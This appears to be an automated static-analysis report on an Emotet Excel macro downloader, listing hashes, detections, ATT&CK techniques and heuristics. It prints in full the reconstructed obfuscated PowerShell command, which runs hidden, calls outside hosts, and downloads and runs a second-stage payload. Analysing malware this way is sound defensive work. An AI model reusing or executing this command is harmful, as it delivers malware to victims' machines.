Emotet — Office (OLE) / .XLSX malware analysis

Static analysis result for SHA-256 75a24f08c376195d…

MALICIOUS

Office (OLE) / .XLSX

88.5 KB Created: 2022-02-14 05:58:53 Authoring application: Microsoft Excel First seen: 2022-02-22
MD5: c582b65d538a691a9535b5d98bcaa5fc SHA-1: 6d2e087256b02e0e925fb38f93566fb61dfdf26d SHA-256: 75a24f08c376195d3b99702955b6d0f1798c358461d98e969a9a1642494f44e9
240 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample is identified as malicious by ClamAV with a signature indicating it's an Emotet downloader. Static analysis revealed VBA macros, specifically a Workbook_Open event, which is a common Emotet delivery mechanism. The macro contains obfuscated PowerShell commands that attempt to download and execute a second-stage payload from a constructed URL. The reconstructed PowerShell command is: powershell -windowstyle hidden -c "$MJXdfshDrfGZses4 = \"http: //download.content1566xueswhe.com/my-microgreen.code.com/4mgt2MeU/mt.j.oburg.org/zadj-GBGJeFxXWlNbABv2/ww.ama.udjjpr/VVP/activities.laforetlan+uiwguages.couiwmdhjwpuiw-aduiwmindhj0JAEdhjbouhuiwtuiwpuiws:dhjdwuiwwmuiwaster.cuiwomdhjwuiwp-couiwntentdhj1sR2HfFxQnkWuudhjbouhtuiwtuiwps:dhjdhjeduiwu-meuiwdia.cndhjwuiwp-admuiwindhj0JAEdhjbouhuiwtuiwpuiws:dhjdhjiacademyuiwgruiwoup.cldhjofuiwficedhjG42LJPLkldhjbouhuiwtuiwps:dhjdhjznzhuiwou.tuiwopdhjmuiwodedhj0Qbdhj\" -suiwPLuiwIt \"bou\"", which indicates an attempt to download and execute a payload.

Heuristics 6

  • ClamAV: Doc.Downloader.Emotet02220-9940037-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet02220-9940037-0
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas
98ce64e756a4ee3d4f776c1541f7f3ad0f966d786db88eda74f9a833f3a74b83
vba-macro oletools.olevba.extract_macros (decoded VBA source) 11705 bytes